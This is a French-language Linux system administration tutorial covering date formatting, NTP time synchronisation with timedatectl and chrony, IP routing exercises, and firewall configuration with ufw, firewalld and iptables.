date -I







2021-06-06






Afficher la date et l’heure au format RFC 2822 :



date -R







Sun, 06 Jun 2021 11:25:15 +0200






Afficher la date en système de temps universel (UTC) :



date -u







dim jun  6 09:25:17 UTC 2021






4. Contrôler le format d’affichage de la commande date


On peut contrôler le format d’affichage de la date. Par exemple :



date ; date -u +%Y-%m-%d-%H%M%S







dim jun  6 11:47:48 CEST 2021
2021-06-06-094748







date ; date -u +%s







dim jun  6 11:48:12 CEST 2021
1622972892






+FORMAT contrôle l’affichage où “FORMAT” les séquences suivantes :



  
    
      	Séquences
      	Affichage
    

  
  
    
      	%%
      	un caractère %

    

    
      	%a
      	nom abrégé localisé du jour de la semaine (par exemple dim.)
    

    
      	%A
      	nom complet localisé du jour de la semaine (par exemple dimanche)
    

    
      	%b
      	nom abrégé localisé du mois (par exemple janv.)
    

    
      	%B
      	nom complet localisé du mois (par exemple janvier)
    

    
      	%c
      	date et heure localisées (par exemple jeu. 03 mars 2005 23:05:25 CET)
    

    
      	%C
      	siècle, comme %Y, sans les deux derniers chiffres (par exemple 20)
    

    
      	%d
      	jour du mois (par exemple 01)
    

    
      	%D
      	date, identique à %m/%d/%y

    

    
      	%e
      	jour du mois, éventuellement complété par une espace, identique à %_d

    

    
      	%F
      	date complète, identique à %Y-%m-%d

    

    
      	%g
      	deux derniers chiffres de l’année du numéro de semaine ISO (voir %G)
    

    
      	%G
      	année correspondant au numéro de semaine ISO (voir %V) ; normalement seulement utile avec %V

    

    
      	%h
      	identique à %b

    

    
      	%H
      	heure (00..23)
    

    
      	%I
      	heure (01..12)
    

    
      	%j
      	jour de l’année (001..366)
    

    
      	%k
      	heure avec espace ( 0..23), identique à %_H

    

    
      	%l
      	heure avec espace ( 1..12), identique à %_I

    

    
      	%m
      	mois (01..12)
    

    
      	%M
      	minute (00..59)
    

    
      	%n
      	un changement de ligne
    

    
      	%N
      	nanosecondes (000000000..999999999)
    

    
      	%p
      	indicateur localisé AM ou PM en majuscules (blanc si inconnu)
    

    
      	%P
      	identique à %p mais en minuscules
    

    
      	%r
      	heure locale au format 12 heures (par exemple 11:11:01 PM)
    

    
      	%R
      	heure en format 24 heures identique à %H:%M

    

    
      	%s
      	secondes depuis 1970-01-01 00:00:00 UTC
    

    
      	%S
      	secondes (00..60)
    

    
      	%t
      	une tabulation
    

    
      	%T
      	l’heure, identique à %H:%M:%S

    

    
      	%u
      	jour de la semaine (1..7) ; 1 représente le lundi
    

    
      	%U
      	numéro de la semaine de l’année, avec dimanche en premier jour de la semaine (00..53)
    

    
      	%V
      	numéro de la semaine ISO, avec lundi en premier jour de la semaine
    

    
      	%w
      	jour de la semaine (0..6), 0 représente le dimanche
    

    
      	%W
      	numéro de la semaine, avec lundi en premier jour de la semaine (00..53)
    

    
      	%x
      	représentation localisée de la date (par exemple 12/31/99)
    

    
      	%X
      	représentation localisée de l’heure (par exemple 23:13:48)
    

    
      	%y
      	deux derniers chiffres de l’année (00..99)
    

    
      	%Y
      	année
    

    
      	%z
      	fuseau horaire numérique +hhmm  (par exemple -0400)
    

    
      	%:z
      	fuseau horaire numérique +hh:mm (par exemple -04:00)
    

    
      	%::z
      	fuseau horaire numérique +hh:mm:ss (par exemple -04:00:00)
    

    
      	%:::z
      	fuseau horaire numérique utilisant « : » pour la précision (par exemple -04, +05:30)
    

    
      	%Z
      	abréviation alphabétique des fuseaux horaires (par exemple EDT)
    

  




5. Network Time Protocol


Network Time Protocol ou NTP est un protocole qui permet de synchroniser l’horloge locale d’ordinateurs sur une référence d’heure via le réseau. Un service NTP utilise le port UDP (ou TCP) 123.


La version 3 de NTP est la plus répandue à ce jour. Elle est formalisée par la RFC 1305 qui spécifie plusieurs aspects :



  	la description du protocole réseau (Architecture)

  	les modes de fonctionnement  (Messages)

  	les algorithmes à mettre en place dans les machines.




La version 4 de NTP est une révision importante publiée dans la RFC 5905 en juin 2010.


Aussitôt après la parution de la version 3 de NTP, une version simplifiée est apparue, appelée « Simple Network Time Protocol » (SNTP) qui a également fait l’objet de plusieurs RFC. Par rapport à NTP, cette version est simplifiée dans le sens qu’elle ne spécifie pas les algorithmes à mettre en place dans les machines.


On ne manquera pas de visiter le site du projet NTP pool : http://www.pool.ntp.org/fr/.


6. Timedatectl


La commande timedatectl permet d’interroger et de modifier les paramètres de temps et de date.



timedatectl --help







timedatectl [OPTIONS...] COMMAND ...

Query or change system time and date settings.

  -h --help                Show this help message
     --version             Show package version
     --no-pager            Do not pipe output into a pager
     --no-ask-password     Do not prompt for password
  -H --host=[USER@]HOST    Operate on remote host
  -M --machine=CONTAINER   Operate on local container
     --adjust-system-clock Adjust system clock when changing local RTC mode

Commands:
  status                   Show current time settings
  set-time TIME            Set system time
  set-timezone ZONE        Set system time zone
  list-timezones           Show known time zones
  set-local-rtc BOOL       Control whether RTC is in local time
  set-ntp BOOL             Control whether NTP is enabled






Par exemple :



timedatectl status







      Local time: dim 2021-06-06 11:53:44 CEST
  Universal time: dim 2021-06-06 09:53:44 UTC
        RTC time: dim 2021-06-06 09:53:44
       Time zone: Europe/Paris (CEST, +0200)
     NTP enabled: yes
NTP synchronized: yes
 RTC in local TZ: no
      DST active: yes
 Last DST change: DST began at
                  dim 2021-03-28 01:59:59 CET
                  dim 2021-03-28 03:00:00 CEST
 Next DST change: DST ends (the clock jumps one hour backwards) at
                  dim 2021-10-31 02:59:59 CEST
                  dim 2021-10-31 02:00:00 CET






Pour fixer la zone horaire :



timedatectl set-timezone Europe/Paris






7. client ntpdate


Pour se synchroniser dans le temps, on peut utiliser aussi le client ntpdate :



sudo ntpdate fr.pool.ntp.org







6 Jun 11:55:10 ntpdate[400]: adjust time server 5.196.160.139 offset -0.000269 sec







8. Chrony


Chrony vise à remplacer le logiciel NTPd à des fins de performance. Il est l’outil de synchronisation temporelle par défaut à partir de Centos 7. Il offre un logiciel serveur chronyd et dispose d’un logiciel client chronyc.


S’il fallait installer et activer le service chronyd.



sudo yum -y install chrony
sudo systemctl enable chronyd
sudo systemctl start chronyd






On peut aussi vérifier la bonne activation du service chronyd.



sudo systemctl status chronyd







● chronyd.service - NTP client/server
   Loaded: loaded (/usr/lib/systemd/system/chronyd.service; enabled; vendor preset: enabled)
   Active: active (running) since sam 2021-06-05 12:32:43 CEST; 23h ago
     Docs: man:chronyd(8)
           man:chrony.conf(5)
  Process: 686 ExecStartPost=/usr/libexec/chrony-helper update-daemon (code=exited, status=\
0/SUCCESS)
  Process: 653 ExecStart=/usr/sbin/chronyd $OPTIONS (code=exited, status=0/SUCCESS)
 Main PID: 675 (chronyd)
    Tasks: 1
   CGroup: /system.slice/chronyd.service
           └─675 /usr/sbin/chronyd

jun 05 12:32:42 monlinux systemd[1]: Starting NTP client/server...
jun 05 12:32:43 monlinux chronyd[675]: chronyd version 3.4 starting (+CMDMON +NTP +REFCLOCK\
 +RTC +PRIVDROP +SCFILTER +S...DEBUG)
jun 05 12:32:43 monlinux chronyd[675]: Frequency -8.398 +/- 0.111 ppm read from /var/lib/ch\
rony/drift
jun 05 12:32:43 monlinux systemd[1]: Started NTP client/server.
jun 05 12:32:49 monlinux chronyd[675]: Selected source 144.76.100.49
Hint: Some lines were ellipsized, use -l to show in full.






On trouvera les serveurs de synchronisation et d’autres paramètres utilisés par Chrony dans le fichier de configuration /etc/chrony.conf.



cat /etc/chrony.conf






9. Client chronyc


Le client chronyc tracking offre un diagnostic précis : le numéro de strate et les différentiels de synchronisation.



chronyc tracking







Reference ID    : 904C6431 (wtfstfu.org)
Stratum         : 3
Ref time (UTC)  : Sun Jun 06 10:08:25 2021
System time     : 0.000782300 seconds slow of NTP time
Last offset     : -0.000317792 seconds
RMS offset      : 0.000188593 seconds
Frequency       : 7.999 ppm slow
Residual freq   : -0.063 ppm
Skew            : 0.105 ppm
Root delay      : 0.018359069 seconds
Root dispersion : 0.006287391 seconds
Update interval : 515.1 seconds
Leap status     : Normal






10. Afficher les sources de synchronisation avec chronyc


Le client chronyc sources -v affiche les sources de synchronisation.



chronyc sources -v







210 Number of sources = 4

  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.
 / .- Source state '*' = current synced, '+' = combined , '-' = not combined,
| /   '?' = unreachable, 'x' = time may be in error, '~' = time too variable.
||                                                 .- xxxx [ yyyy ] +/- zzzz
||      Reachability register (octal) -.           |  xxxx = adjusted offset,
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,
||                                \     |          |  zzzz = estimated error.
||                                 |    |           \
MS Name/IP address         Stratum Poll Reach LastRx Last sample
===============================================================================
^+ mtw.ig-haase.de               2  10   377   533   +938us[ +624us] +/-   35ms
^+ ntp2.hosteurope.de            2  10   377   626   +599us[ +287us] +/-   28ms
^* wtfstfu.org                   2   9   377   369  -1952us[-2270us] +/-   15ms
^+ littlericket.me               2  10   377    33  +1590us[+1590us] +/-   26ms
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Introduction


Cette partie intitulée “Routage et pare-feu” s’intéresse à l’activation du routage IP à partir du noyau Linux et au concept de pare-feu Netfilter géré par ufw, firewalld ou les commandes iptables.









3. Routage et Pare-feu


Le pare-feu examine le trafic entrant, le trafic sortant et le trafic transféré. On trouvera ici une introduction au routage statique et dynamique sous Linux, les principes fondamentaux des concepts de pare-feu, le pare-feu Ubuntu par défaut ufw, le pare-feu Red Hat par défaut firewalld et le pare-feu Linux natif Netfilter avec ses commandes iptables.


1. Routage IP


Le routage IP est le principe de transmission qui permet à deux ordinateurs placés à des endroits d’extrémité (dans le monde) de communiquer directement entre eux. L’Internet est constitué d’un ensemble de routeurs chargés de transférer les paquets de l’Internet Protocol vers leur destination finale.


Aujourd’hui, l’Internet tel qu’il est encore largement utilisé fonctionne dans sa version sous-optimale IPv4. Le protocole d’aujourd’hui est le protocole IPv6.


Concrètement, un routeur est un ordinateur spécialisé dans le transfert des paquets IPv4 et/ou IPv6 entre des interfaces qui connectent des réseaux et des technologies distinctes. Par nature, les interfaces disposent d’adresses IP appartenant à des domaines distincts.


Pour bien comprendre le principe du routage, il est souhaitable de monter une topologie représentative dans une solution de virtualisation quelconque ou en classe de formation, avec plusieurs partenaires disposant de leurs PCs.


En fin de chapitre, il est proposé de mettre en oeuvre les concepts de routage et par-feu dans une topologie virtuelle représentative.


1.1. Activation du routage


Il est trivial d’activer le routage sous Linux, en tant que root :



cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward






Pour la persitence modifier le fichier /etc/sysctl.confen changeant la valeur de la ligne :



echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
echo 0 > /proc/sys/net/ipv4/ip_forward
systemctl restart network

cat /proc/sys/net/ipv4/ip_forward
1






1.2. Exercice de routage statique


Chaque participant prendra une plage IPv4 différente : 192.168.100.0/24, 192.168.101.0/24, 192.168.102.0/24, …


Par exemple :



ipcalc -nmb 192.168.113.0/24






NETMASK=255.255.255.0
BROADCAST=192.168.113.255
NETWORK=192.168.113.0






Activation du routage


En équipe de deux.


Ajouter une interface dummy :



sudo lsmod | grep 'dummy'






modprobe dummy
lsmod | grep 'dummy'






dummy                  12960  0







ip link set name eth1 dev dummy0







  	Attribuer une adresse IP dans un domaine unique

  	Activer le routage

  	Entrer une route statique vers le réseau privé du voisin et tenter de joindre cette adresse privée

  	Tenter de joindre l’adresse d’un voisin sur le réseau local avec ping -I désigant l’adresse de l’interface privée comme source (ici eth1).




1.3. Exercice de routage dynamique


Démon de routage OSPF


Dans la classe de formation isolée.


Vérifier l’activation du routage et éventuellement corriger la situation :



sudo cat /proc/sys/net/ipv4/ip_forward






1






Installer Quagga (Zebra avec ospfd) :



sudo yum install quagga
sudo cp /usr/share/doc/quagga-0.99.22.4/ospfd.conf.sample /etc/quagga/ospfd.conf
sudo chown quagga:quagga /etc/quagga/ospfd.conf






Configuer SELinux :



sudo setsebool -P zebra_write_config 1






Désactiver le pare-feu :



sudo systemctl stop firewalld






Démarrer Zebra :



sudo systemctl start zebra
sudo systemctl status zebra






Entrer dans une console de type Cisco et commencer la configuration :



vtysh






Quand cela sera nécessaire, démarrer Ospfd :



sudo systemctl start ospfd
sudo systemctl status ospfd






On trouvera un exemple de lab virtualisé avec Qemu/KVM sur Virt-scripts Lab103 : OSPF quad pod


2. Pare-feu / Firewall



  	Dans un système d’information, les politiques de filtrage et de contrôle du trafic sont placées sur un matériel ou un logiciel  intermédiaire communément appelé pare-feu (firewall).

  	Cet élément du réseau a pour fonction d’examiner et filtrer le trafic qui le traverse.

  	On peut le considérer comme une fonctionnalité d’un réseau sécurisé : la fonctionnalité pare-feu.

  	L’idée qui prévaut à ce type de fonctionnalité est le contrôle des flux du réseau TCP/IP.

  	Le pare-feu limite le taux de paquets et de connexions actives. Il reconnaît les flux applicatifs.




2.1. Objectifs d’un pare-feu


Il a pour objectifs de répondre aux menaces et attaques suivantes, de manière non-exhaustive :



  	Usurpation d’identité.

  	La manipulation d’informations.

  	Les attaques de déni de service (DoS/DDoS).

  	Les attaques par code malveillant.

  	La fuite d’information.

  	Les accès non-autorisé (en vue d’élévation de privilège).

  	Les attaques de reconnaissance, d’homme du milieu, l’exploitation de TCP/IP.




2.2. Ce que le pare-feu ne fait pas


Le pare-feu est central dans une architecture sécurisée mais :



  	Il ne protège pas des menaces internes.

  	Il n’applique pas tout seul les politiques de sécurité et leur surveillance.

  	Il n’établit pas la connectivité par défaut.

  	Le filtrage peut intervenir à tous les niveaux TCP/IP de manière très fine.




2.3. Fonctionnement



  	Il a pour principale tâche de contrôler le trafic entre différentes zones de confiance, en filtrant les flux de données qui y transitent.

  	Généralement, les zones de confiance incluent l’Internet (une zone dont la confiance est nulle) et au moins un réseau interne (une zone dont la confiance est plus importante).

  	Le but est de fournir une connectivité contrôlée et maîtrisée entre des zones de différents niveaux de confiance, grâce à l’application de la politique de sécurité et d’un modèle de connexion basé sur le principe du moindre privilège.

  	Un pare-feu fait souvent office de routeur et permet ainsi d’isoler le réseau en plusieurs zones de sécurité appelées zones démilitarisées ou DMZ. Ces zones sont séparées suivant le niveau de confiance qu’on leur porte.




2.4. Zone de confiance sur un pare-feu


Organisation du réseau en zones :




  
    [image: Zones de confiance]
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2.5. Niveau de confiance



  	Le niveau de confiance est la certitude que les utilisateurs vont respecter les politiques de sécurité de l’organisation.

  	Ces politiques de sécurité sont édictées dans un document écrit de manière générale. Ces recommandations touchent tous les éléments de sécurité de l’organisation et sont traduites particulièrement sur les pare-feu en différentes règles de filtrage.

  	On notera que le pare-feu n’examine que le trafic qui le traverse et ne protège en rien des attaques internes, notamment sur le LAN.




2.6. Politiques de filtrage



  	Selon les besoins, on placera les politiques de filtrage à différents endroits du réseau, au minimum sur chaque hôte contrôlé (pare-feu local) et en bordure du réseau administré sur le pare-feu. Ces emplacements peuvent être distribué dans la topologie selon sa complexité.

  	Pour éviter qu’il ne devienne un point unique de rupture, on s’efforcera d’assurer la redondance des pare-feu. On placera plusieurs pare-feu dans l’architecture du réseau à des fins de contrôle au plus proche d’une zone ou pour répartir la charge.




2.7. Filtrage


La configuration d’un pare-feu consiste la plupart du temps en un ensemble de règles qui déterminent une action de rejet ou d’autorisation du trafic qui passe les interfaces du pare-feu en fonction de certains critères tels que :



  	l’origine et la destination du trafic,

  	des informations d’un protocole de couche 3 (IPv4, IPv6, ARP, etc.),

  	des informations d’un protocole de couche 4 (ICMP, TCP, UDP, ESP, AH, etc.)

  	et/ou des informations d’un protocole applicatif (HTTP, SMTP, DNS, etc.).




2.8. Décision de filtrage



  	Les règles sont appliquées en fonction de la direction du trafic entrant ou sortant sur une interface, avant ou après le processus de routage des paquets. Cette dernière réalité diffère selon le logiciel ou le matériel choisi pour remplir ces tâches.

  	Ici l’exemple de la table filter de Netfilter :
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2.9. Règles


Chaque règle est examinée selon son ordonnancement.
Si le trafic ne correspond pas à la première règle, la seconde règle est évaluée et ainsi de suite.
Lorsqu’il y a correspondance entre les critères de la règle et le trafic, l’action définie est exécutée et les règles suivantes ne sont pas examinées.
La terminologie des actions usuelles peuvent être accept, permit, deny, block, reject, drop, ou similaires.
En général, un ensemble de règles se termine par le refus de tout trafic, soit en dernier recours le refus du trafic qui traverse le pare-feu. Ce comportement habituellement défini par défaut ou de manière implicite refuse tout trafic pour lequel il n’y avait pas de correspondance dans les règles précédentes.


2.10 Politique de filtrage typique


On peut résumer des politiques de filtrage typique :



  	LAN > WAN

  	WAN X LAN

  	LAN > DMZ

  	DMZ X LAN

  	WAN X DMZ (sauf TCP80 par exemple)

  	DMZ > WAN




3. Pare-feu personnel Debian/Ubuntu


3.1. Uncomplicated Firewall (ufw)


Sous Debian / Ubuntu :



sudo apt -y install ufw







sudo ufw status







Status: inactive







sudo ufw disable







Firewall stopped and disabled on system startup







sudo ufw status







Status: inactive







sudo ufw enable







Firewall is active and enabled on system startup







sudo ufw status verbose







Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip







sudo ufw allow ssh







Rule added
Rule added (v6)







sudo ufw status verbose







Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip

To                         Action      From
--                         ------      ----
22                         ALLOW IN    Anywhere
22                         ALLOW IN    Anywhere (v6)






3.2. Gestion des règles par défaut


Lorsque UFW est activé, par défaut le trafic entrant est refusé et le trafic sortant est autorisé. C’est en général le réglage à privilégier, cependant vous pouvez tout de même modifier ces règles.


Autoriser le trafic entrant suivant les règles par défaut :



sudo ufw default allow






Refuser le trafic entrant suivant les règles par défaut :



sudo ufw default deny






Autoriser le trafic sortant suivant les règles par défaut :



sudo ufw default allow outgoing






Refuser le trafic sortant suivant les règles par défaut :



sudo ufw default deny outgoing






3.3. Activer/désactiver la journalisation


Activer la journalisation :



sudo ufw logging on






Désactiver la journalisation :



sudo ufw logging off






3.4. Ajouter/supprimer des règles



  	
[port] est à remplacer par le numéro du port désiré.

  	
[règle] est à remplacer par le numéro du port ou le nom du service désiré.

  	
[numéro] est à remplacer par le numéro de la règle désiré.




Autoriser une connexion entrante :



sudo ufw allow [règle]






Refuser une connexion entrante :



sudo ufw deny [règle]






Refuser une IP entrante :



  Si vous voulez bloquer une IP sur tous vos services, il faut le faire “avant” les autorisations existantes. D’où le “insert 1” qui met ce “deny” avant tous les “allow”. Dans le cas d’une série d’IP à bloquer vous pouvez utiliser à chaque entrée le “insert 1”, pas besoin de spécifier dans le cas présent une autre place sudo ufw insert 1 deny from [ip]




Refuser une connexion entrante, uniquement en TCP :



sudo ufw deny [port]/tcp






Refuser une connexion sortante :



sudo ufw deny out [règle]






Supprimer une règle :



sudo ufw delete allow "ou deny" [règle]






Supprimer simplement une règle d’après son numéro :



sudo ufw delete [numéro]






3.5. Règles simples


La syntaxe des règles. Voici quelques exemples pour comprendre la syntaxe des règles de configuration.


Ouverture du port 53 en TCP et UDP :



sudo ufw allow 53






Ouverture du port 25 en TCP uniquement :



sudo ufw allow 25/tcp






3.6. Utilisation des services


UFW regarde dans sa liste de services connus pour appliquer les règles standards associées à ces services (apache2, smtp, imaps, etc..). Ces règles sont automatiquement converties en ports.


Pour avoir la liste des services :



less /etc/services






Autoriser le service SMTP :



sudo ufw allow smtp






Autoriser le port de Gnome-Dictionary (2628/tcp) :



sudo ufw allow out 2628/tcp






Autoriser le protocole pop3 sécurisé (réception du courrier de Gmail et autres messageries utilisant ce protocole sécurisé) :



sudo ufw allow out pop3s






3.7. Règles complexes


L’écriture de règles plus complexes est également possible :


Refuser le protocole (proto) TCP à (to) tout le monde (any) sur le port (port) 80 :



sudo ufw deny proto tcp to any port 80






Refuser à (to) l’adresse 192.168.0.1 de recevoir sur le port (port) 25 les données provenant (from) du réseau de classe A et utilisant le protocole (proto) TCP :



sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 25






Refuser les données utilisant le protocole (proto) UDP provenant (from) de 1.2.3.4 sur le port (port) 514 :



sudo ufw deny proto udp from 1.2.3.4 to any port 514






Refuser à l’adresse 192.168.0.5 de recevoir toutes données provenant du serveur web de la machine hébergeant le pare-feu :



sudo ufw deny out from 192.168.0.5 to any port 80






3.8. Insérer une règle


Vous pouvez insérer une règle à une position précise en utilisant le numéro



sudo ufw insert [NUM] [RULE]






Insérer en numéro 2 une règle refusant le trafic entrant utilisant le protocole (proto) UDP (to) en direction de (any) toute les adresses en écoute sur votre machine sur le port (port) 514 en provenance (from) de 1.2.3.4



sudo ufw insert 2 deny proto udp to any port 514 from 1.2.3.4






Source : https://doc.ubuntu-fr.org/ufw


4. Firewalld
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Firewalld est l’outil pare-feu intégré à Centos 7. Il est une surcouche aux logiciels natifs NetFilter (iptables entre autres). Il permet de manipuler des règles de pare-feu sur base de niveaux de confiance entre des zones. Son usage exige de se passer des règles et scripts ou services iptables.


Sous Debian, on l’installe facilement :



sudo apt -y install firewalld






On ira lire utilement la documentation détaillée en français sur [https://doc.fedora-fr.org/wiki/Parefeu-_firewall-FirewallD](https://doc.fedora-fr.org/wiki/Parefeu-firewall-_FirewallD) ou de manière plus efficace https://www.certdepot.net/rhel7-get-started-firewalld/.


On retiendra que la permanence des paramètres configurés avec Firewalld est assurée en ajoutant --permanent dans la commande. Aussi, après chaque changement de configuration, on recharge la configuration avec firewall-cmd --reload.



sudo systemctl status firewalld







● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabl\
ed)
   Active: active (running) since Mon 2016-04-11 13:45:25 EDT; 1 day 2h ago
 Main PID: 968 (firewalld)
   CGroup: /system.slice/firewalld.service
           └─968 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid

Apr 11 13:43:33 localhost.localdomain systemd[1]: Starting firewalld - dynami...
Apr 11 13:45:25 localhost.localdomain systemd[1]: Started firewalld - dynamic...
Hint: Some lines were ellipsized, use -l to show in full.






4.1. Zones



man firewalld.zones






Un zone définit le niveau de confiance pour les connexions réseau. C’est une relation un à plusieurs, ce qui signifie qu’une connexion (une interface) n’appartient qu’à une seule zone mais une zone peut comprendre plusieurs interface distinctes.



sudo firewall-cmd --get-default-zone







public







sudo firewall-cmd --get-active-zones







public
  interfaces: eno16777736







sudo firewall-cmd --get-zone-of-interface=eno16777736







public







sudo firewall-cmd --get-zones







block dmz drop external home internal public trusted work






Sous Centos7, l’emplacement /usr/lib/firewalld/zones/*.xml nous informe sur la nature des zones.


Zone Block



zone target "%%REJECT%%"







  	Unsolicited incoming network packets are rejected.

  	Incoming packets that are related to outgoing network connections are accepted.

  	Outgoing network connections are allowed.




Zone DMZ



  	For computers in your demilitarized zone that are publicly-accessible with limited access to your internal network.

  	Only selected incoming connections are accepted.

  	Service activé : ssh




Zone Drop



  	Unsolicited incoming network packets are dropped.

  	Incoming packets that are related to outgoing network connections are accepted.

  	Outgoing network connections are allowed.




Zone External



  	For use on external networks.

  	You do not trust the other computers on networks to not harm your computer.

  	Only selected incoming connections are accepted.

  	Service activé : ssh

  	NAT activé




Zone Home



  	For use in home areas.

  	You mostly trust the other computers on networks to not harm your computer.

  	Only selected incoming connections are accepted.

  	Services activés : ssh, ipp-client, mdns, samba-client, dhcpv6-client




Zone Internal



  	For use on internal networks.

  	You mostly trust the other computers on the networks to not harm your computer.

  	Only selected incoming connections are accepted.

  	Services activés : ssh, ipp-client, mdns, samba-client, dhcpv6-client




Zone Public



  	For use in public areas. You do not trust the other computers on networks to not harm your computer.

  	Only selected incoming connections are accepted.

  	Services activés : ssh, dhcpv6-client




Zone Trusted


All network connections are accepted.


Zone Work



  	For use in work areas.

  	You mostly trust the other computers on networks to not harm your computer.

  	Only selected incoming connections are accepted.

  	Services activés : ssh, dhcpv6-client




4.2. Vérification de la configuration d’une zone



sudo firewall-cmd --permanent --zone=public --list-all







public (default)
  interfaces:
  sources:
  services: dhcpv6-client ssh
  ports:
  masquerade: no
  forward-ports:
  icmp-blocks:
  rich rules:







sudo firewall-cmd --permanent --zone=internal --list-all







internal
  interfaces:
  sources:
  services: dhcpv6-client ipp-client mdns samba-client ssh
  ports:
  masquerade: no
  forward-ports:
  icmp-blocks:
  rich rules:






4.3. Ajouter une interface dans une zone



firewall-cmd [--permanent] --zone=zone --add-interface=interface







  Il est conseillé de fixer l’appartenance à une zone dans le fichier de configuration de l’interface



4.4. Création d’une zone



sudo firewall-cmd --permanent --new-zone=testzone
sudo firewall-cmd --reload
sudo firewall-cmd --get-zones







block dmz drop external home internal public testzone trusted work






4.5. Sources


Ajouter des adresse source dans la zone :



sudo firewall-cmd --permanent --zone=trusted --add-source=192.168.1.0/24
sudo firewall-cmd --reload
sudo firewall-cmd --zone=trusted --list-sources







192.168.1.0/24






4.6. Services



sudo firewall-cmd --get-services






4.7. Ports



sudo firewall-cmd --zone=internal --add-port=443/tcp







sudo firewall-cmd --zone=internal --list-ports







443/tcp






4.8. Masquerading



sudo firewall-cmd --zone=external --add-masquerade






4.9. Transfert de ports



sudo firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2222
sudo firewall-cmd --reload






4.10. Revenir à iptables



FirewallD est le logiciel pare-feu RHEL7 pour la gestion du pare-feu. Si l’on veut utiliser Netfilter natif, il faut arrêter le pare-feu Firewalld :



sudo systemctl stop firewalld






Pour démarrer iptables :



sudo systemctl start iptables






Pour sauvegarder les règles iptables :



sudo /sbin/iptables-save > /etc/sysconfig/iptables






Sous Debian, on activera le service “persistent” iptables-persistent :



sudo apt -y install iptables-persistent






5. Netfilter
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  Source de l’image



5.1. Iptables : la théorie


Les règles de pare-feu sont examinées dans l’ordre de leur introduction avec la politique par défaut qui termine la liste (la chaîne).
Chaque règles est une commande iptables ou ip6tables.
Dès que la correspondance est trouvée, la liste s’arrête.


Trois tables : filter, nat et mangle



  	iptables et ip6tables sont les logiciels (interface utilisateur) de filtrage, de traduction d’adresses (NAT/PAT) et de transformation du trafic.

  	Trois usages, trois tables :
    
      	filter

      	nat

      	mangle

    

  

  	On ne parlera ici que des tables filter et nat, qui sont constituées de chaînes, sortes d’ACLs, elles-mêmes constituées de règles.




La table filter


La table filter filtre le trafic dans trois situations (chaînes) :



  	
INPUT : à destination d’une interface du pare-feu

  	
OUTPUT : sortant d’une interface du pare-feu

  	
FORWARD : traversant le pare-feu d’une interface à une autre




Cibles possibles


L’option -j (jump) définit une cible (une action) :



  	
ACCEPT : le paquet est accepté et pris en charge par les processus du noyau

  	
DROP : le paquet est jeté, sans plus

  	
REJECT : le paquet est jeté, mais un message d’erreur est renvoyé au destinataire

  	
LOG : journalisation du trafic. passe à la règle suivante.

  	…

  	une autre chaîne utilisateur
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La table NAT



  	Le NAT/PAT vise à réécrire les champs d’adresses et de ports TCP/IP du trafic qui traverse le pare-feu.

  	Il est principalement utile dans le cadre du manque d’adresses IPv4 globale.

  	Il peut intervenir avant que le trafic soit routé, en changeant l’adresse et le port de destination (DNAT, redirection), pour filtrer du trafic à destination d’un serveur

  	Il peut intervenir après que le trafic soit routé, en changeant d’adresse et le port source (SNAT, masquage) pour offrir une connectivité globale à un bloc IP privé




Chaînes de la table NAT



  	PREROUTING :
    
      	DNAT : redirection de port dans une DMZ

      	REDIRECT : redirection (vers un proxy)

    

  

  	POSTROUTING :
    
      	SNAT : NAT/PAT statique

      	MASQUERADE : NAT overload (masquage)

    

  




Cibles de la table nat
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Syntaxe



  iptables -t [filter, nat]




  	commandes : -A, -P, -I, -D, …
    
      	chaîne : [INPUT, OUTPUT, FORWARD]
        
          	critères : -i, -o, -s, -d, -p, -m, ….
            
              	
-j :	jump action ou règles utilisateur :
                
                  	
DROP, REJECT, ACCEPT, LOG, …

                

              

            

          

        

      

    

  




Commandes



  	
-t : désigne la table [filter, nat]


  	
-F : supprime toutes les chaînes prédéfinies

  	
-X : supprime toutes les chaînes utilisateurs

  	
-A : ajoute une règle à une chaîne (et à une table) suivi de critères et d’un jump

  	
-D : supprime une règle

  	
-I : insère une règle

  	
-P : Définit la politique (ou cible) par défaut d’une chaîne. Seules les chaînes prédéfinies peuvent avoir un comportement par défaut. Cette cible ne sera appliquée qu’après l’exécution de la dernière règle de la chaîne.

  	
-L -n -v : Liste les règles

  	
-S : Liste les commandes

  	
-j : jump : action : [DROP, REJECT, ACCEPT, LOG]





Les critères


Les critères peuvent être multiples :



  	Interface source ou destination.

  	Adresse IP source ou de destination.

  	Port source ou de destination.

  	Type de trame.

  	Nombre de paquets.

  	Paquet marqué par la table Mangle.

  	Etc.




Les critères de filtrage



  	
-p <protocol-type> Protocole ;  icmp, tcp, udp, et all


  	
-s <ip-address> Adresse IP source

  	
-d <ip-address> Adresse IP destination

  	
-i <interface-name> nom d’interface d’entrée : eth0, eth1

  	
-o <interface-name> nom d’interface de sortie : eth0, eth1

  	
-p tcp --sport <port> port TCP source.

  	
-p tcp --dport <port> port TCP destination.

  	
-p tcp --syn Utilisé pour identifier une nouvelle requête de connexion. ! --syn signifie pas de nouvelle de requête de connexion

  	
-p udp --sport <port> port UDP source.

  	
-p udp --dport <port> port UDP destination.

  	
--icmp-type <type> echo-reply, echo-request


  	-m multiport --sports <port, port>

  	-m multiport --dports <port, port>

  	-m multiport --ports <port, port>

  	
-m --state <state>
    
      	
ESTABLISHED: Le paquet fait partie d’une connexion qui a été constatée dans les deux directions.

      	
NEW: Le paquet est le début d’une nouvelle connexion.

      	
RELATED: Le paquet démarre une seconde nouvelle connexion

      	
INVALID: Le paquet ne peut pas être identifié.

    

  




Chaînes Utilisateurs


Les chaînes utilisateurs sont des chaînes spécifiques définies par l’administrateur (autres que les chaînes prédéfinies PREROUTING, INPUT, FORWARD, OUTPUT et POSTROUTING).


Elles sont appelées :



  	par une ou d’autres chaînes utilisateurs ou,

  	par une ou plusieurs chaînes prédéfinies.




5.2. Vérification des règles



sudo iptables -t filter -L







sudo iptables -t nat -L







sudo iptables -t filter -L -n -v






